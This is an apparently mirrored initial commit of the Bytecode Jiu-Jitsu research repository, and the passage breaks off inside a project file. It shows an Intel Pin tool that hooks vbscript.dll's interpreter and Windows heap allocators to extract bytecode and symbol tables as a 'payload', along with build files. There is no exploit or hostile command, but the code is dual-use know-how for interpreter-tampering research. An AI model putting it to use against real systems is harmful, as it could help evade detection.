mirror of
https://github.com/ntt-zerolab/Bytecode_Jiu-Jitsu
synced 2026-06-08 16:27:17 +00:00
Initial commit
This commit is contained in:
@@ -0,0 +1,315 @@
|
||||
#include "Extractor-BJJ.h"
|
||||
|
||||
|
||||
std::string output_payload_file_name;
|
||||
UINT8 output_payload_file_type;
|
||||
|
||||
// Map to store allocated heap memory and their sizes
|
||||
unordered_map<ADDRINT, UINT32> heap_allocations;
|
||||
|
||||
// Mutex to protect heap_allocations
|
||||
PIN_MUTEX heap_mutex;
|
||||
|
||||
|
||||
KNOB<std::string> KnobConfigFile(KNOB_MODE_WRITEONCE, "pintool", "c", "", "specify file name for the input config");
|
||||
KNOB<std::string> KnobPayloadFileType(KNOB_MODE_WRITEONCE, "pintool", "p", "", "specify file type of the output payload [JSON/C_HEADER]");
|
||||
KNOB<std::string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "", "specify file name for the output payload");
|
||||
|
||||
|
||||
INT32 Usage() {
|
||||
std::cerr << "This tool extracts bytecode and symbol tables for Bytecode Jiu-Jitsu." << endl;
|
||||
std::cerr << KNOB_BASE::StringKnobSummary() << endl;
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Instrumentation for target functions
|
||||
VOID hook_interp_func(IMG img, const Config &config) {
|
||||
string image_name = IMG_Name(img);
|
||||
ADDRINT image_base = IMG_LowAddress(img);
|
||||
|
||||
if (image_name == config.interp_module_name) {
|
||||
RTN rtn = RTN_CreateAt(image_base + config.interp_func_offset, "interp_func");
|
||||
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_interp_func_before,
|
||||
IARG_CONST_CONTEXT,
|
||||
IARG_REG_VALUE, REG_STACK_PTR,
|
||||
IARG_PTR, &config,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
} else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID hook_heap_allocation(IMG img) {
|
||||
RTN rtn;
|
||||
|
||||
for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym)) {
|
||||
string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY);
|
||||
|
||||
if (undFuncName == "CoTaskMemAlloc") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_CoTaskMemAlloc_before,
|
||||
IARG_ADDRINT, "CoTaskMemAlloc",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_CoTaskMemAlloc_after,
|
||||
IARG_ADDRINT, "CoTaskMemAlloc",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
} else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "GlobalAlloc") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_GlobalAlloc_before,
|
||||
IARG_ADDRINT, "GlobalAlloc",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_GlobalAlloc_after,
|
||||
IARG_ADDRINT, "GlobalAlloc",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
} else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "LocalAlloc") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_LocalAlloc_before,
|
||||
IARG_ADDRINT, "LocalAlloc",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_LocalAlloc_after,
|
||||
IARG_ADDRINT, "LocalAlloc",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
} else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "HeapAlloc") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_HeapAlloc_before,
|
||||
IARG_ADDRINT, "HeapAlloc",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 2,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_HeapAlloc_after,
|
||||
IARG_ADDRINT, "HeapAlloc",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
} else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "malloc") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_malloc_before,
|
||||
IARG_ADDRINT, "malloc",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_malloc_after,
|
||||
IARG_ADDRINT, "malloc",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
}
|
||||
else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "operator new") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_operator_new_before,
|
||||
IARG_ADDRINT, "operator new",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_operator_new_after,
|
||||
IARG_ADDRINT, "operator new",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
}
|
||||
else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "operator new[]") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_operator_new_before,
|
||||
IARG_ADDRINT, "operator new[]",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_operator_new_after,
|
||||
IARG_ADDRINT, "operator new[]",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
}
|
||||
else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
|
||||
if (undFuncName == "VirtualAlloc") {
|
||||
rtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
|
||||
if (RTN_Valid(rtn)) {
|
||||
RTN_Open(rtn);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_BEFORE, (AFUNPTR)hdlr_VirtualAlloc_before,
|
||||
IARG_ADDRINT, "VirtualAlloc",
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
|
||||
IARG_END);
|
||||
|
||||
RTN_InsertCall(rtn, IPOINT_AFTER, (AFUNPTR)hdlr_VirtualAlloc_after,
|
||||
IARG_ADDRINT, "VirtualAlloc",
|
||||
IARG_FUNCRET_EXITPOINT_VALUE,
|
||||
IARG_END);
|
||||
|
||||
RTN_Close(rtn);
|
||||
} else {
|
||||
cout << "Invalid RTN" << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Image load callback
|
||||
VOID ImageLoad(IMG img, VOID *v) {
|
||||
Config *config;
|
||||
ADDRINT image_base;
|
||||
string image_name;
|
||||
|
||||
image_name = IMG_Name(img);
|
||||
image_base = IMG_LowAddress(img);
|
||||
|
||||
cout << "[+] Loading image name: " << image_name << endl;
|
||||
cout << "[+] Image base: "
|
||||
<< (void *)image_base
|
||||
<< endl;
|
||||
|
||||
config = reinterpret_cast<Config *>(v);
|
||||
hook_interp_func(img, *config);
|
||||
hook_heap_allocation(img);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
PIN_InitSymbols();
|
||||
// Initialize Pin
|
||||
if (PIN_Init(argc, argv)) {
|
||||
return Usage();
|
||||
}
|
||||
|
||||
// Initialize mutex
|
||||
PIN_MutexInit(&heap_mutex);
|
||||
|
||||
// Load ConfigIn
|
||||
Config* config = new Config;
|
||||
config->interp_module_name = "C:\\Windows\\System32\\vbscript.dll";
|
||||
config->interp_func_offset = 0x84b0;
|
||||
config->management_structure_index = 1;
|
||||
output_payload_file_name = "test_payload.json";
|
||||
output_payload_file_type = kPayloadFileTypeJson;
|
||||
config->bytecode = { { 0x1e0 } };
|
||||
config->symbol_tables = { { 2, 0, { 0x1f0 }, 0 } };
|
||||
|
||||
string config_file = KnobConfigFile.Value();
|
||||
if (!config_file.empty()) {
|
||||
std::string config_string;
|
||||
cout << "[+] Config file: " << config_file << endl;
|
||||
|
||||
std::ifstream config_f(config_file);
|
||||
if (!config_f) {
|
||||
std::exit(1);
|
||||
}
|
||||
auto ss = std::ostringstream{};
|
||||
ss << config_f.rdbuf();
|
||||
config_string = ss.str();
|
||||
|
||||
if (!config_string.empty()) {
|
||||
// To be fixed: JSON deserialization with nlohmann/json does not work properly.
|
||||
// deserialize_config(config_string, *config);
|
||||
}
|
||||
}
|
||||
|
||||
string payload_file_type = KnobPayloadFileType.Value();
|
||||
if (payload_file_type == "JSON") {
|
||||
cout << "[+] Output payload file type: JSON" << endl;
|
||||
output_payload_file_type = kPayloadFileTypeJson;
|
||||
}
|
||||
else if (payload_file_type == "C_HEADER") {
|
||||
cout << "[+] Output payload file type: C header" << endl;
|
||||
output_payload_file_type = kPayloadFileTypeCHeader;
|
||||
}
|
||||
else {
|
||||
cout << "[+] No valid payload file type was specified. The default value of JSON has been selected." << endl;
|
||||
output_payload_file_type = kPayloadFileTypeJson;
|
||||
}
|
||||
|
||||
string payload_file_name = KnobOutputFile.Value();
|
||||
if (!payload_file_name.empty()) {
|
||||
cout << "[+] Output file: " << payload_file_name << endl;
|
||||
output_payload_file_name = payload_file_name;
|
||||
}
|
||||
|
||||
// Register image load callback
|
||||
IMG_AddInstrumentFunction(ImageLoad, config);
|
||||
|
||||
// Start the program
|
||||
PIN_StartProgram();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#ifndef _EXTRACTOR_BJJ_EXTRACTOR_BJJ_H_
|
||||
#define _EXTRACTOR_BJJ_EXTRACTOR_BJJ_H_
|
||||
|
||||
#include "pin.H"
|
||||
#include "config.h"
|
||||
#include "common.h"
|
||||
#include "handler.h"
|
||||
#include <fstream>
|
||||
#include <unordered_map>
|
||||
|
||||
using std::unordered_map;
|
||||
|
||||
VOID hook_interp_func(IMG img, const Config &config);
|
||||
VOID hook_heap_allocation(IMG img);
|
||||
VOID ImageLoad(IMG img, VOID *v);
|
||||
|
||||
#endif // _EXTRACTOR_BJJ_EXTRACTOR_BJJ_H_
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.10.35122.118
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Extractor-BJJ", "Extractor-BJJ.vcxproj", "{639EF517-FCFC-408E-9500-71F0DC0458DB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x64.Build.0 = Debug|x64
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Debug|x86.Build.0 = Debug|Win32
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x64.ActiveCfg = Release|x64
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x64.Build.0 = Release|x64
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x86.ActiveCfg = Release|Win32
|
||||
{639EF517-FCFC-408E-9500-71F0DC0458DB}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {6C68333B-1348-41D7-90E4-3DFD7D91F0EA}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,290 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include=".gitignore" />
|
||||
<None Include="README.md" />
|
||||
<None Include="run.bat" />
|
||||
<None Include="test.vbs" />
|
||||
<None Include="test_config.json" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="common.h" />
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="debug.h" />
|
||||
<ClInclude Include="extract.h" />
|
||||
<ClInclude Include="Extractor-BJJ.h" />
|
||||
<ClInclude Include="handler.h" />
|
||||
<ClInclude Include="memory.h" />
|
||||
<ClInclude Include="output.h" />
|
||||
<ClInclude Include="payload.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="config.cpp" />
|
||||
<ClCompile Include="debug.cpp" />
|
||||
<ClCompile Include="extract.cpp" />
|
||||
<ClCompile Include="Extractor-BJJ.cpp">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\json\include;..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-intel64\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86_64;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<ClCompile Include="handler.cpp" />
|
||||
<ClCompile Include="memory.cpp" />
|
||||
<ClCompile Include="output.cpp" />
|
||||
<ClCompile Include="payload.cpp" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{639EF517-FCFC-408E-9500-71F0DC0458DB}</ProjectGuid>
|
||||
<RootNamespace>MyPinTool</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>ClangCL</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>ClangCL</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<PlatformToolset>ClangCL</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>ClangCL</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.40219.1</_ProjectFileVersion>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(ProjectDir)$(Configuration)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</LinkIncremental>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</GenerateManifest>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(ProjectDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</LinkIncremental>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</GenerateManifest>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(ProjectDir)$(Configuration)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</GenerateManifest>
|
||||
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(ProjectDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</LinkIncremental>
|
||||
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" />
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" />
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" />
|
||||
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
|
||||
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-ia32\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>TARGET_IA32;HOST_IA32;TARGET_WINDOWS;PIN_CRT=1;__i386__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<ExceptionHandling>
|
||||
</ExceptionHandling>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<EnableEnhancedInstructionSet>NotSet</EnableEnhancedInstructionSet>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\..\..\ia32\lib;..\..\..\ia32\lib-ext;..\..\..\extras\xed-ia32\lib;..\..\..\ia32\runtime\pincrt;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>false</OptimizeReferences>
|
||||
<EntryPointSymbol>Ptrace_DllMainCRTStartup%4012</EntryPointSymbol>
|
||||
<BaseAddress>0x55000000</BaseAddress>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<AllowIsolation>true</AllowIsolation>
|
||||
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<AdditionalOptions>/GR- /GS- /EHs- /EHa- /FP:strict /Oi- /FIinclude/msvc_compat.h %(AdditionalOptions)</AdditionalOptions>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\json\include;..\..\include\pin;..\..\include\pin\gen;..\InstLib;..\..\..\extras\xed-intel64\include\xed;..\..\..\extras\components\include;..\..\..\extras\cxx\include;..\..\..\extras;..\..\..\extras\crt\include;..\..\..\extras\crt;..\..\..\extras\crt\include\arch-x86_64;..\..\..\extras\crt\include\kernel\uapi;..\..\..\extras\crt\include\kernel\uapi\asm-x86;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>TARGET_IA32E;HOST_IA32E;TARGET_WINDOWS;WINDOWS_H_PATH=C:\Program Files (x86)\Windows Kits\10\Include\10.0.22621.0\um\Windows.h;PIN_CRT=1;__LP64__;_LIBCPP_DISABLE_AVAILABILITY;_LIBCPP_NO_VCRUNTIME;__BIONIC__</PreprocessorDefinitions>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<ExceptionHandling>
|
||||
</ExceptionHandling>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<DisableSpecificWarnings>4530;%(DisableSpecificWarnings)</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>/export:main %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>pin.lib;xed.lib;pinipc.lib;c++.lib;pincrt.lib;kernel32.lib;crtbeginS.obj</AdditionalDependencies>
|
||||
